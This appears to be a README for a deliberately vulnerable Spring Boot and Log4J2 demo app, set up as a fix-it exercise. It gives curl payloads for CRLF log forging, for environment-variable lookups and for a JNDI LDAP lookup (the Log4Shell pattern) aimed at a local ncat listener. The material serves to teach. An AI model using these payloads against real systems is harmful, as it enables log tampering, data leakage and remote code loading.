Skip to content

Latest commit

 

History

History
58 lines (37 loc) · 967 Bytes

README.md

File metadata and controls

58 lines (37 loc) · 967 Bytes
Raw

Log Injection with Spring Boot and Log4J2

Usage

  • Run
./gradlew bootRun
  • Request
curl http://localhost:8080/\?name\=Frodon

Hack

Using CRLF injection

curl http://localhost:8080/\?name\=Marty%0d%0a1985-10-30%2021%3A59%3A01.108%20DEBUG%20128537%20---%20%5Bnio-8080-exec-1%5D%20net.example.logging.HelloController%20%20%20%20%20%20%3A%20You%20have%20been%20pwed%0A

Using date lookup

Date lookup ${date:yyyyMMdd-HHmmss}:

curl http://localhost:8080/\?name\=%24%7Bdate%3AyyyyMMdd-HHmmss%7D

Using env lookup

Env lookup ${env:USER}:

curl http://localhost:8080/\?name\=%24%7Benv%3AUSER%7D

Using JNDI Injection

  • Run a listener
ncat -v -l -p 5000
  • JNDI LDAP lookup: Hello ${jndi:ldap://localhost:5000}%
curl http://localhost:8080/\?name\=%24%7Bjndi%3Aldap%3A%2F%2Flocalhost%3A5000%7D

Fix

Try to fix this app! Don't disable JNDI Lookup, this could be usefull.